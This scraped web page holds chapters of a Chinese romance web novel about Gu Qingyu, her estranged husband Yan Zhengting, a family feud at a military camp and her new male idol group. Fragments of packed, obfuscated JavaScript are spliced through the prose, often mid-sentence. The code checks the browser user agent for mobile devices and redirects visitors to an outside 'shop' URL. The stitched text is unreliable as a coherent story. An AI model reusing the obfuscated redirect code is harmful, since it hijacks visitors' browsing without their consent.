0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228706|150902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也好,假浪荡也罢。 等他醒来了,再一五一十的问清楚便是。 不出两日,言正廷终于醒了。 他刚一睁眼,便看到了眼眶泛红的顾清语。 “你怎么哭了?” “你醒了,我高兴!” “傻瓜,别哭,我没事了。” “嗯!” 顾清语狠狠点头。 大夫来看过,说言正廷恢复得很好,长期练武让他体质优于常人,很快便能恢复。 这日,顾清语扶着他在春风亭的花园里散步。 终于有机会问起,他当日到底发生何事。 原来,言正廷找到了那家娱乐场的幕后老板,发现果然就是当初经营风雅颂之人。 可这件事远没有他想象中简单。 那幕后老板来自隔壁大燕国,如果没有本国人的庇护,他不可能如此猖狂。 他继续调查,结果越挖越深。 他查到那幕后老板的背后,不止有朝廷命官,还有自大越立国以来就一直潜在暗处的反动势力。 更可怕的是,他们不仅在做凌虐女子的卑鄙勾当,还极有可能暗中贩卖军械。 如果任由他们继续,那危险的就不再仅仅是大越的女子,而是整个大越。 他早就跟上了风雅颂这条线,没想到在一次暗中监视时,居然发现顾清语女扮男装混了进去。 还无意中知晓了其中“特别服务”的真相。 对方穷凶极恶,他一直怕顾清语有危险,只得蛰伏于暗处默默保护,并同时收集证据。 没想到那日,对方趁他落单,突然派了十几名杀手暗杀,他始终双拳难敌四手,所以才受了这么重的伤。。 顾清语听完也是一身冷汗。 当初她一门心思的想要解救清檀,只是想尽快瓦解这个虐待女子的地方。 没想过背后竟然还隐藏着如此大的阴谋。 如果当初她再莽撞一点,很可能当即就交代在了风雅颂里。 连之后逃出来让言正廷保护的机会都没有了。 咦?不对。 言正廷之前不就是个纨绔子弟吗? 他为什么要去管这些事? 她疑惑的紧盯言正廷的双眼,等着他自己老老实实向她交代个清楚。 可是言正廷却话锋一转,突然问她:“夫人,我怎么记得我昏迷的时候,好像有个人一直在我床边说,叫我不要离开她,还说等我醒来之后,有话要对我说?” 呃…… 怎么偏偏在这种时候提起这个话题。 “回屋再说吧!” 顾清语可不想在大庭广众之下向言正廷表白。 等到二人回到屋内,看着言正廷期待的眼神,顾清语却不知如何打开这个话题。 总不能直接说:“言正廷,我要和你做真夫妻”吧? 思来想去,她只有先顾左右而言他。 先是找来了那日言正廷换下的血衣,一边给他看他当时伤得有多重,一边说自己照顾他照顾得有多么辛苦。 言正廷也没有逼问,只是看着她,听她叨叨,满眼宠溺。 似乎有意要等她自己切入话题。 可是顾清语说着说着却突然停了下来,脸色极为难看。 言正廷疑惑的转过头,只见血衣里滚落出来一个丑丑的娃娃。 正是那日,顾清语亲自缝制了送给面具人的娃娃。 “为何会在你这儿?” 16.谁敢说我夫君 “清语,我可以解释。” “我问你,为何这个娃娃会在你这儿?!” 言正廷第一次从顾清语的脸上看到了嫌恶。 他彻底慌了。 “你听我慢慢跟你说,你知道我在外人眼里一直是个废物。可是我不甘心,所以我便一直暗中习武……” 言正廷的师傅是江湖中人,地位卓绝,有很多事不方便亲自去办便会交给他来处理。 为了不让父兄和周围的人发现他在暗中习武,他每次任务时都会带上师傅给他的面具。 第一次在河边救下顾清语时,他刚完成一项任务。 当时他并不知道她是谁。 只因幼妹的死,让他不能对任何溺水之人置之不理。 后来才知道,在阴差阳错之下救了自己未来的夫人。 然而,机缘巧合又让他撞见了她深夜翻墙。 她和传闻中的那个娇弱女子很不一样,便引起了他的好奇,却意外碰见她再次遇险,于是出手相救。 最初发生的一切,都是巧合。 他并非从一开始就想要故意欺瞒。 “并非故意?那给我递纸条的人是谁?制造那次刺杀的人又是谁?” 顾清语听完他的解释,非但没能释怀,反倒是更加生气。 “那是因为…因为我感觉到你对面具人好像有些不一样,可是我又暂时不能暴露身份。” “说到底,还是我不值得你信任,对吧?” “不是!” “你不信任我,你觉得我给你戴绿帽,所以你一次又一次的欺骗,一次又一次的戏耍我!” 她恼羞成怒,根本不管言正廷说什么,只是一句接着一句的宣泄着自己的愤怒。 “看着我每日去给那个假面具人送药,很可笑吧?看着我还亲手给他做娃娃,很可悲吧?眼见我对着一个假人献殷勤,像个白痴一样被你玩弄于鼓掌之间,很有成就感,对吧!!” “你玩我玩得很开心,是吗?如果我一直没有发现,你准备耍我耍到什么时候?!” 顾清语开始咄咄逼人,逐渐失控。 无论言正廷如何解释,她都再也听不进一句。 此刻,她的脑海里只有一个声音在不断回响:他骗我,他耍我。 顾清语再也绷不住了,满腹委屈却无处诉说。 他明知我喜欢他,也明知我喜欢过面具人,可是他却让我像个傻子一样,挣扎在矛盾与内疚之中。 说不定,他还跟他那些狐朋狗友们炫耀: 你看,这个女人有多白痴! 骄傲如她,实在无法承受这般屈辱。 丢下重伤未愈的言正廷,她疯一般地向外跑去,泪流满面。 即便东倒西歪地撞了人,撞了墙,她也不想在此多停留片刻。 她已经不在意别人的眼光了。 说不定在他们眼里,她早成为了一个可笑的疯子。 言正廷想要追出去,却还没追到门口就跌落在地。 还未愈合的伤口再次被撕裂,血汩汩渗出浸湿了衣衫,就像是从他心里流出来的一样。 很痛。 却分不清究竟是心痛,还是伤痛。 他知道顾清语不会再回来了,逐渐意志消沉,一蹶不振。 每日躺在床上,眼神空洞,不吃也不喝。 十一娘去找过顾清语,她已经离开了言府。 自己找了间偏僻的小屋,整日关着自己不出门。 还好她并不知道顾清语与面具人之间的事。 否则,顾清语可能会立刻把她赶出去。 她想要劝说顾清语去看看言正廷。 若是再继续下去,好不容易救回来的命,又要丢了。 “他的死活跟我没关系。” 顾清语很坚决,似乎要和言正廷彻底决裂。 可十一娘见过如此多的儿女情长,又怎会看不出她只是委屈又伤心。 算了,再缓缓吧。 这世上除了顾清语自己,没有人能帮她走出眼前的困境。 顾清语如此,言正廷亦是如此。 言正廷萎靡不振了好长一段时日。 十一娘也不再去管。 然而,屋漏偏逢连夜雨。 言正廷的兄长言正铠却突然找来了春风亭。 言父下令二人和离,迟迟未见结果便让他督办。 而顾清语却骤然离府,言正廷也销声匿迹。 他还以为这个弟弟是在外惹了什么祸端,被人灭了口。 如果是这样,还真是皆大欢喜。 找探子查了半天,才终于查到人在春风亭。 今日,他特意来寻言正廷给个答复。 顺便再踩上两脚,以确保言正廷万劫不复。 他一见到言正廷,就知道他受了重伤。 看来,果然是在外招惹了什么狠人。 当初言正廷差点夺走了本属于他的爵位,他就恨了多年。 他比谁都清楚,这个弟弟绝不是个轻易妥协之人。 当了这么多年的浪荡子,究竟是隐忍蛰伏还是自甘堕落,他没有把握,也不敢去赌。 万一有一天,他奋起反击,那时他该如何自处? 如今父亲不在,言正廷又正好遭了灾…… 心念一转,他竟生出了一股恶毒的心思。 不如彻底斩草除根,免得将来后患无穷。 他先是假意关心了言正廷的伤势,后又提及顾清语不告而别。 在说每一句话时,他都在观察言正廷的反应。 只有提及顾清语时,言正廷最为反常。 他是个极为善于察言观色、洞悉人心的人。 看着言正廷的反应,他便顺势说道, “弟媳许是嫌你未成大器,不如你就顺势而为跟我去军中磨砺磨砺吧!” “大哥,我并不懂军中之事。” “既然是磨砺,自然会让你从最基本的开始了解。你好歹也是将军之子,没上过战场不说,连军营也没去过就说不过去了,将来如何继承父亲的家业啊?” “父亲的家业自然是由兄长继承。” 言正廷并非不知道兄长的心思。 说得如此好听,不过想趁机折磨他而已, 言兄对他的回答却十分满意,但是并不打算因此放过他。 “即便如此,你也不能一直吊儿郎当下去了。不然新妇也跑了,人也受伤了。说出去,我言府更是颜面无存,会让人贻笑大方。” 看得出来,他今日是打定主意了。 言正廷也不想再与他争辩。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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其实军医早已被他的亲信拦在了军帐后。 给了他更多的时间可以继续羞辱言正廷。 各种难听的言语,将言正廷数落得甚至不如一个街边的乞丐。 将士们都有些于心不忍。 不明白平日里正义凌然的将军为何要如此对待自己的亲弟弟? 即便弟弟再如何不堪,家丑不可外扬不是常理之事吗? 他们只是不知道,摧毁言正廷的尊严不过是假象。 其真正目的,是想趁他身受重伤又被当众羞辱后,制造出他羞愤自缢的假象,好将言正廷彻底铲除。 可他没有料到,顾清语却出现在了这个时候。 当他还在慷慨激昂地教育将士们,切不可学言正廷纵欲无度、碌碌无为时,顾清语提刀策马而来。 大有一种要劫法场的气势。 行至言兄面前时,她翻身下马。 手腕一番,便将手中的长刀架在了言兄脖子上。 “我看今日谁敢再说我夫君半句不是!” 17.难哄 长风吹起衣摆,一袭黑衣的顾清语眼神凌厉,威风凛凛。 明明平日里弱不经风,如今分量不轻的长刀在手却岿然不动。 就连躺在地上的言正廷也看傻了眼。 许久不能将眼前这个英姿飒爽的女侠,与平日里的娇俏小娘子重合在一起。 尽管如此,他也仍旧湿了眼眶。 半晌,才有人率先开了口。 “弟妹这是要作甚?是准备当着上千将士的面杀害夫君的兄长吗?” 言正铠虽也吃了一惊,不过好歹也是上阵杀敌的将领,很快便稳住了心神。 “我也想问问兄长,你当着全体将士的面,贬低践踏自己的弟弟,明知他有伤在身却还置他的伤情于不顾,这是想要弄死他好一个人独享侯府家业吗?兄长别忘了,侯爷还健在呢!” “放肆!你可知自己在说什么?” 此言一出,便将言正铠架在了一个极为危险的位置。 他的眼里已然露出一丝危险之色。 顾清语却并不打算就此打住。 “兄长,侯爷身体康健,老当益壮,如今还带着将士在边关杀敌,你怎就如此迫不及待的要置弟弟于死地啊?” “休要再胡言乱语!我何时要置他于死地?” “他带伤入军营,你却从不让军医为他疗伤。美其名曰苦其心智,让他去最苦最累的营房锻炼,实则是想等他伤重病发之时,趁机当众羞辱,践踏他的尊严,若他从此一蹶不振彻底沦为废人也就罢了,要是因为延误伤情不治身亡,怕才是你真正的目的吧!?” 语毕,整个校场死一般的寂静。 上千士兵,却无一人敢发出半点声响。 在大越,长辈尚存于世就觊觎家业、残害手足可是大忌。 顾清语并不知道言正铠在军营里的所作所为,一切都只是她的猜测。 流言蜚语往往更为致命,更何况,她还都猜对了。 今日这番言语若是传到了侯爷的耳朵里,言正铠怕是会有大麻烦。 她深知今日将言正铠得罪狠了,日后定遭报复,只是她并没打算在言家继续过下去。 她今日来,只是为了救人而已。 言正铠眼里的杀意越来越浓。 他虽任由顾清语将长刀架在脖颈之上,可随时准备出手将其一招毙命。 剑拔弩张之际,每个人都为顾清语捏了一把冷汗。 她却偏偏在此时收起长刀,转身走向了言正廷。 将地上的言正廷扶起,她笑道:“兄长,我想你不会是我刚才说的那种人,对吧?” 言正铠眯起双眼,眼皮微微抽动。 搞不懂这个女人究竟在耍什么花样。 半晌,才艰难地从牙缝里挤出两个字:“当然。” 呼—— 将士们似乎终于松了口气,这场家族内部矛盾本就不是他们该参与的。 可还不等他们放松半秒,顾清语却再度激情开麦。 “不过,兄长虽不是有意为之,我夫君今日却是实实在在地受到了伤害!” 她让已摇摇欲坠的言正廷靠在自己身上,继续道: “我知道很多人背地里说我夫君是败家子,是废物。可是我相信,凡是在军营里真正和他相处过的人都知道,他并非传言中如此不堪。” 见有人频频点头,顾清语满意地继续, “今日,我就当着众将士的面把话说清楚,我夫君言正廷为人正直、重情重义,今后若再有人肆意践踏、侮辱他,那我顾清语就算拼尽所有家财,也定要让他万劫不复!我的夫君,容不得你们欺负!” 说罢,顺势将长刀飞出,刀刃向着言正铠的方向直直刺去。 他微微偏头,才堪堪躲过了直冲面门的长刀。 个中之意,已不言而喻。 趁众人慌乱之际,顾清语扶起言正廷翻身上马,扬长而去。 只留下一众面面相觑的将士,和双手握得指节发白的言正铠。 “今日之仇,我必当百倍奉还!” 马背上,言正廷伏在顾清语身后,虽已虚弱不堪,却是掩饰不住的欣喜。 他看不见顾清语脸上的表情,却能清楚地感受到她的心脏已经快要从身体里跳出来了。 就在刚才,众人皆在感叹少夫人胆识过人。 只有他知道,她不过是在虚张声势。 就连那帅气的长刀飞刺,也是才跟十一年现学的招式吧? 所有人都被她的气势唬住了。 而他心里清楚,其实她怕得要死。 否则此刻,她不会全身都在发抖。 视线开始模糊。 他拼尽最后一丝意识,用力地抱了抱顾清语, “别怕,没事了。” …… 当言正廷再次醒来时,发现自己身处一处完全陌生的环境。 既不是侯府,也不是春风亭。 看房里的陈设,虽简约朴素,却不乏一些精致事物的装点。 他笑了。 这房间一看,便是顾清语的风格。 她既愿意冒着生命危险来救他,还愿意带他回到自己的小屋,定是原谅他了吧? 推门声响,言正廷强撑着快要散架的身体坐起迎接。 得意的笑还尚在嘴边,却很快就被现实狠狠一击。 来人是阿砚,顾清语并不打算见他。 “姑爷,不,言公子,小姐说请您按时服药,伤好了就赶紧离开吧。” “你家小姐呢?” “小姐不想见你,她让我转告你,她帮你只是为了还你从前的救命之恩,如今两清了,还请言公子不要再出现在小姐面前。” “可是……” 不等言正廷说话,阿砚转身便走。 看得出来,她也很生气。 言正廷深知自己这次闯下大祸,顾清语不会轻易原谅,但他绝不是轻言放弃之人。 之后的日子,言正廷每日按时服药、上药。 顾清语给的,都是这京中最顶级的药材。 加上他的师父知道他遭遇不测也暗中来寻过他,为他疗伤。 一个月后,伤势便恢复了大半。 这一个月来,他听话的没有去见顾清语。 只是不时的让小厮送点她最喜欢的小物件、珠宝头钗、还有糕点美食,却都被一一退了回来。 他又想起顾清语喜欢听小曲,特地去学了她曾让女团表演过的一首《发如雪》。 这是他从未听过的曲调,和大越传统乐曲很不一样。 但是非常特立独行,就像顾清语本人一样。 他废了老大的劲儿,才说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如她所言,在经历了漫长的自我怀疑与悲伤抑郁之后,顾清语慢慢接受了现实。 她是真正的喜欢上了言正廷,而这一次,却也是真正的失恋了。 为了尽快走出失恋的阴霾,她开始全情投入搞钱搞事业。 一边疯狂给自己打鸡血,写了整整一尺厚的商业计划书拿去找十一娘讨论,一边拼命卷女团成员,让他们学了更多首新曲子,还要加入剧情表演。 《烟花易冷》、《画心》、《凉凉》……数首国风歌曲,要多凄凉有多凄凉。 就是无论如何不准再唱《发如雪》。 顾清语的一举一动,看似发疯折腾,未承想却意外闯出了一条新的赛道。 女团由原来单纯的唱歌跳舞发展出了演绎情景剧的能力。 而顾清语由于失恋,自编自导的剧情,尤其是悲剧,格外引人入胜。 观众们从原本只是想看好看的人,逐渐变成了看好看的戏。 连她自己也没想到,舞台剧竟在这样的情况下应势而生了。 18.失恋的顾清语 舞台剧的诞生,让越来越多女子想要加入她们。 许多家娱乐场的老板也前来寻求合作。 艺人培训班的练习生越来越多,顾清语和十一娘开始考虑对春风亭进行扩张。 春风亭位于京城东边,是最为繁华的京城“商圈”。 其次,便属城北和城南较为热闹,而城西则显得冷清了些。 很快,他们便在城北、城南各选定了一间铺面作为扩张的第一步。 以顾清语的眼光,一般的铺面她是看不上的。 而她看上的,无论地段、人流都是绝佳旺铺,想必对方也不肯轻易转让。 顾清语在去谈判前,事先想了好几种方案。 虽说她对此志在必得,但是万一再遇上个周四爷那种恶霸,她也还是有几分心虚的。 想到周四爷,顾清语又忍不住想起了那个一走了之的混蛋! 直到他离开,她才后知后觉,言正廷竟已在无声无息中渗透进了她生活的方方面面。 无论她做在做什么事时,都会不自觉地想起他。 在春风亭时,总能想起他嚷着要做自己的保镖,像个跟屁虫似的跟出跟进。 在外面调研时,又会想到她陪自己逛街、购物,总是买好吃的逗自己开心。 就连回到了家里,也会想起他在月光下弹唱《发如雪》的模样。 顾清语使劲甩了甩头,努力把言正廷甩出她的脑袋。 强行切换女强人模式,充分做好了与铺面老板唇枪舌战的准备。 岂料,她才刚开口说明来意,那老板竟然立马爽快应下了。 “这么好的铺子,您舍得就这么转给我了?”顾清语疑惑道。 “是姑娘您运气好,我家夫人刚给我生了大胖小子,我准备带着她回老家过悠闲日子带娃娃去,所以也就顺便成人之美啦!” 既然老板如此说了,顾清语自然乐意快速接手。 可没想到的是,第二家铺面竟也没有遇到任何阻碍。 顾清语开始怀疑,是否有人在背后推波助澜。 难道是……他? 不会的,他已经不会再帮我了。 顾清语告诉自己,应该忘掉这个人了。 与两位老板谈妥后,顾清语快速回到春风亭准备开铺事宜。 她不知道的是,在她走后,两位老板都去找到了一位戴面具之人。 “事情办妥了,那姑娘没有起疑。” “没有就好,辛苦了。” 接过整整一摞银钱,两位老板喜笑颜开。 而言正廷却笑不出来。 “不知她何时才能原谅我?” 为了让自己快点振作起来,新铺面从装修到布局,顾清语全都一手把控。 为了几家铺面的统一性,就连春风亭也重新装饰了一遍。 两个月后。 春风亭的两家分铺夏雨轩与秋夜肆顺利开业。 换颜艺人培训班第一期也初显成效。 女团组合由原来的一个,发展到了五个。 五个女团在三家娱乐场轮流进行商演。 春风亭与夏雨轩主打现场带货,而秋夜肆则专演舞台剧。 一时间,几乎所有人都涌入了这三家娱乐场。 成为了这京城里最具影响力的店铺。 顾清语和十一娘早已身家翻倍,在城中风头无两。 而女商们在带货红利的影响下也赚得盆满钵满,再也不用仰人鼻息。 最重要的是,这京城里女子做营生似乎不如从前那般艰难了。 她们如此高调开分铺,早已做好了有人前来捣乱的准备。 无论是顾清语还是十一娘,对家都不在少数。 所以一直以来,守卫极为严密。 奇怪的是,新铺开张三月有余,竟还未发生一起恶意挑衅事件。 这日,顾清语刚从新铺出来,便听到后巷一阵吵嚷。 她还以为捣乱的人终于来了,转身就带上几名特意挑选的护卫赶去后巷。 可等到他们赶来之时,却不见了踪影。 顾清语只得又带着护卫返回铺里。 她才刚走,后巷拐角处几个被紧紧捂住了嘴的小混混就遭到了一顿暴揍。 “敢来我们嫂子店里捣乱,你们怕是嫌命长了吧?” 求救声和呼喊声此起彼伏。 之后很久,都再没有任何形迹可疑之人敢靠近顾清语的新铺。 顾清语最近可谓是一帆风顺。 自她开始准备新店,一直到之后的每一次演出及带货,都异常的顺利。 所有她曾以为会是阻碍的事,最后都能顺利解决,有的甚至反倒成了助力。 她不是没有怀疑过是言正廷在暗中相助。 但是她不愿去想,也不愿意承认。 既然他不说,她便装作不知。 这日,艺人培训班里来了一位特殊的学员。 是一名相貌极为精致的男子,名为苏叶。 他说自己自小就热爱歌舞,可是父母却认为男子习歌舞是上不了台面之事,只让他一心读书考取功名。 多年来,他一直压抑自己的内心去努力做一个父母想要他成为的人。 如今他已略有所成,而关于歌舞的梦想却一直偷偷埋在心里。 这些时日,他见这些女子都能如此勇敢,他也想豁出去一次追寻自己的梦想。 于是特地来找到顾清语,希望能成为她培训班里的一员。 顾清语有些犯了难。 她自己是十分乐意收男艺人的,可是她的培训班、舞台剧甚至商会都是全员女子,如今突然加入男子,生怕引起大家不满。 在向男子说明目前的情况并表示自己需要考虑一段时日后,便先打发他回去了。 她特地征求了十一娘的意见,十一娘倒是豁达,对此并不介意。 她又找到了女团成员及培训班的其他练习生们,想要问问她们的想法。 没想到,这群曾经活得小心翼翼的女子,现在无论思想还是行动都变得格外先锋。 不仅不反对男艺人的加入,甚至还考虑起以后要不要发展为男女组合。 相比眼前这些讨论得眉飞色舞的姐妹们,顾清语反到显得有些跟不上节奏了。 她是没想过这些古代女子在经过艺人培训之后,竟这么快就有了炒CP的概念。 见大家都不反对,她便又有了新的计划。 既然有了一个如此渴望舞台的男子,大越就一定还有其他男子也想要在这方面一展所长。 不如趁此机会,同时打造大越第一个偶像男团。 笔随心动,她再次奋笔疾书。 十一娘如今只要一瞧见拿着商业计划书的顾清语就感到害怕。 她最近已经快被顾清语的各种天马行空、奇思妙想掏空了。 她是怕没钱,可是却更怕失恋后的顾清语。 这天夜里,她叫人把言正廷寻了来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两周后,春风亭宣布将有一场史无前例的演出。 消息一出,京城里凡有钱有势之人均早早出手开始抢票。 毕竟春风亭每次宣布新消息时,都会是一场空前绝后的盛宴。 演出当日,春风亭门口早已被围得水泄不通。 所有人都对这次神秘演出充满了好奇。 演出正式开始,顾清语款款走上舞台。 “很高兴能与各位新老顾客在此共聚,今日,就由我向诸位隆重介绍我们的最新组合——南风!” 语毕,三位男团成员身着顾清语特意改制过的镭射表演服正式登场。 “哗——” “怎么是男子啊?这像什么话!” “就是!哪有男子演出取乐他人的,简直丢我们男人的脸!” “赶紧下去吧!不男不女的丢死人了!” 才刚一登台,台下便一片哗然。 质疑、不满的声音甚嚣尘上,甚至有人开始喊起了“退票”。 顾清语并不理会,波澜不惊地站在舞台中央,大声道: “不想看的可以立即退票,但是从今往后,将被列入我春风亭、夏雨轩和秋夜肆三家铺面的黑名单,进入黑名单后,永不招待!” 19.做她背后的男人 台下开始发出阵阵骚动。 “从未见过对客人如此不客气的掌柜!拽什么啊!” “就是,竟然还敢威胁我们,太不像话了。” “不看就不看,什么稀奇玩意儿只有你们这才能看吗?不知道的还以为是脱衣舞呢!” “哈哈哈哈哈……” 众人见顾清语不但不听劝,还赶起客来,纷纷开始出言不逊。 那些刺耳的话一浪一浪地传到顾清语耳朵里,让她忍不住怒火中烧。 “来人!把刚才出言不逊的那几位‘贵客’给我请出去并记下身份,从今往后,凡是有我们演出的地方,一概不得入,凡是我们所带出的货品,一律不得购买!” 顾清语特地请来镇场子的几位彪形大汉立刻出手,将刚才那几人一一架起准备扔出去。 见她动起了真格,那几人反到是怂了。 “你说出去就出去啊?老子花钱了,就是不走!” “对!我花钱了凭什么赶我出去?” “你们自以为花了钱,就可以对我的人肆意侮辱吗?你们花的钱,我三倍奉还。从今往后,几位就是我们黑名单上的第一批人了,若还有人口出狂言,趁早去掌柜那儿领了银钱,立刻离开我的场子!” 顾清语冷眼扫视场下众人,决定狠狠给这帮不知好歹的家伙一个下马威。 “各位在场的顾客听好了,我们的女团、男团都是经过日夜辛苦练习,才有了今日舞台上的成效,他们凭自己的本事赚钱,不偷不抢光明正大,若今后再有人诋毁、侮辱,我定不饶!现在,愿意看演出的请坐好了耐心等待,不愿意看的可以立马走人。” 台下众人面面相觑。 他们虽对男团颇有微词,但是不得不承认,之前的那些演出的确别具一格,在别处难得一见。 而他们的货品,无论材质、款式都在上乘,有的甚至根本买不到。 男团就男团吧!左右不过是一场演出,男女又有何不同? 在一番思想斗争之下,众人竟都留了下来。 稳住了局面后,顾清语将舞台留给男团成员,首演正式开始。 整个大厅烛火完全熄灭,只留一束顶光打在男团身上。 “我曾怀疑我,走在沙漠中,从不结果,无论种什么梦……” 一名男团成员清唱起信乐团的《海阔天空》,舞蹈也随即开始。 当初,顾清语第一次在《这街》舞台上看到这只舞时,就被深深震撼。 作为不被理解、不被支持的男团首演,她早就料到了会有今日的场面。 尤其在爆发了一场冲突之后上演这出曲目,便是再适合不过了。 “冷漠的人,谢谢你们曾经看轻我,让我不低头,更精彩的活!” 一曲闭,男团成员们倔强的脸上早已挂满泪痕。 这首歌的歌词里,句句是他们不被认可却仍旧顽强地与这世界抗衡的决心。 世人的不理解,家人的不支持,让他们这条路走得异常艰难。 好在,顾清语一直没有放弃,才有了他们今日的舞台。 表演结束,当烛火再次亮起时,全场爆发出震耳欲聋的掌声。 顾清语瞧见观众席中,不少人的眼角都湿润了。 之前还对顾清语的赶客行为颇有微词的人,也统统闭了嘴。 男团首演大获成功。 甚至比当日女团和舞台剧的初舞台更有过之而无不及。 翌日,大街小巷都在讨论昨日那场演出。 不少人纷纷表示,还好没被那几个闹事之人影响,否则就错过了如此难得的表演。 顾清语的口碑再次翻转。 只是一夜之间,就从一个店大欺客的恶霸,变成了一个支持普通人梦想的造梦者。 而那几个因口出恶言被顾清语赶出去的客人,在听旁人口述了当晚的表演后,肠子都悔青了。 因为这样的表演,他们以后再也看不到了。 顾清语此刻却没空理会外界的评论,她的艺人培训班大门就快要被挤爆了。 来报名的男子,每日成倍的疯狂增长。 不少商家也纷纷想要男团去他们的铺子商演。 这段时日,顾清语忙得头都大了。 而一直在暗中保护的言正廷,每日眼瞧着她被一群男子围绕,气得青筋爆裂却无处发泄。 “不行,我得赶紧想个办法才是。” 眼看要被顾清语渐渐遗忘,他终于无法忍耐一直在暗处做她背后的男人了。 顾清语的确已经忙到把言正廷忘在了脑后。 果然搞钱才是治疗情商最好的良药。 就在她以为一切已然向好之时,原主这个天生招祸体质又开始发挥作用了。 她带着男团在一家娱乐场进行商演时,原本好好站在台上主持开场的她,被一个突然冲上舞台的妇人泼了一杯热茶。 “你个臭不要脸的狐狸精!打着培训艺人的旗号勾引别人夫君!” 此言一出,就立刻掀起轩然大波。 “不会吧?顾清语不是有夫君吗?” “是啊!听说她夫君还是定北侯的小儿子呢,她胆子这么大吗?” “那有什么,听说她那夫君,整日流连烟花之地根本不回家。” “难怪了!一个被窝睡不出两种人,哪个好人家的小娘子整天跟一群男人混在一起啊!” 顾清语忍不住翻了个白眼,又是这种不入流的手段。 怎么无论到哪儿,只要女子做出一番事业就要被人造黄谣呢? 她本不想解释,可是突然不知道从哪又冒出一群妇人,都说她勾引了自家夫君去当学员。 她们手里还拿着一篮子的蔬菜、鸡蛋就要往她身上扔。 不是吧?动嘴她还能骂得过,真动起手来她可打不过那么多人啊。 男团成员纷纷上来护她,可是越护,那些人的谣言反而显得越真了。 “言正廷你个混蛋,怎么还不来救我!?” 顾清语一边躲避一边在心里咒骂。 似乎是咒骂起了作用,言正廷竟真的出现了。 三两下就将围攻的人群逼退,护在顾清语面前不让她的身上沾染一点污秽。 让人匪夷所思的是,他竟穿着和今日男团演出同样的演出服。 “干什么你们?!谁敢再对我夫人无礼,我就要他的命!” “哟!原来你就是她的夫君啊,头上都有青青草原了吧,还在这儿护短呢?” “哈哈哈哈哈……” 嘲笑声此起彼伏,言正廷却并不恼。 只是拿出一张名单来,大声念了起来: “张李氏,五十文钱;陈王氏,三十文钱;刘寡妇,四十文钱……” 长长的一串名单,对应着在场污蔑顾清语的每一个妇人。 而被点名道姓的妇人纷纷露出了怯色,因为那些银钱数正是他们所收的好处钱。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14268263|150902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你们这些人的夫君,此刻就站在门外,既然你说我夫人勾引了他们,就让他们来一一对峙吧。” “你胡说!我们夫君都在她的培训班上,被她勾得家都不回了!” 言正廷并不理会她们的嘴硬,只是大手一挥,一群男子便被带进了大厅。 “好你个败家娘们儿!在污蔑我偷人是吧?看我回家怎么收拾你!” “丢人!还不赶紧滚回家去!” 一个个妇人见自己的男人真的来了,被骂也不敢还嘴,灰溜溜的就想趁机逃走。 “站住!话还没说清楚,就想走吗?你们一个个男子到是说说,是否曾加入艺人培训班?” “这位公子你这不是拿我们打趣吗?你看我们这副尊荣,就是想加入也没这个机会对吧!” 众人哄堂大笑。 的确,这些男子与男团的颜值水平,实在相去甚远。 吵吵攘攘中,一群闹事的妇人被他们的夫君带回了家。 顾清语本想将人留下问个究竟,却被言正廷拦住了。 言正廷先是让顾清语在台下休息,接着又上台与男团站在了一起。 “各位,刚才的闹剧就当做我们今天演出的小插曲,真正的演出马上开始。为了给大家赔不是,各位看看,我可有资格加入这男团一同演出?” “有!” 众人异口同声。 言正廷的颜值自是不必多说,再加上长期练武的身形,整个人的气质比男团成员有过之而无不及。 “既然如此,接下来的演出,就由我和男团为大家共同完成。顺便也想告诉大家,我的夫人绝对清白,虽然男团风流倜傥,可是我也不差,更何况我自己就是男团成员,整天整夜守着她,怎么可能给她机会乱来,对吧?” 一番幽默的言语,逗笑了在场的众人,却不包括顾清语。 这家伙竟敢说要和男团一起演出?我到要看看他待会儿怎么出丑。 顾清语叫来了一杯热茶准备看言正廷的笑话。 没想到,言正廷竟还似模似样的。 歌唱得不错,就连舞也跳得颇有水平。 男团里面竟然有内鬼? 顾清语有些生气,敢背着她帮言正廷,等演出完就立马统统开除! 虽说如此,演出在言正廷加入后,效果确实不错。 所以当言正廷舔着脸来求顾清语收留他的时候,顾清语并没有立刻反对。 反倒是冷眼睨着一众男团成员,试图揪出内鬼。 “你别为难他们,他们也是被我逼迫的。清语,你还不能原谅我吗?” “原谅你作甚?你我二人已经和离了。” “谁说的,你的【和离协议书】我可从来没签字画押啊。” “那就自动和离。” 其实,顾清语并非对言正廷做的一切无动于衷。 只是她经历了那么艰难的时期才好不容易缓过来,明明言正廷已经放弃这段感情了,为何现在又要来招惹她呢? 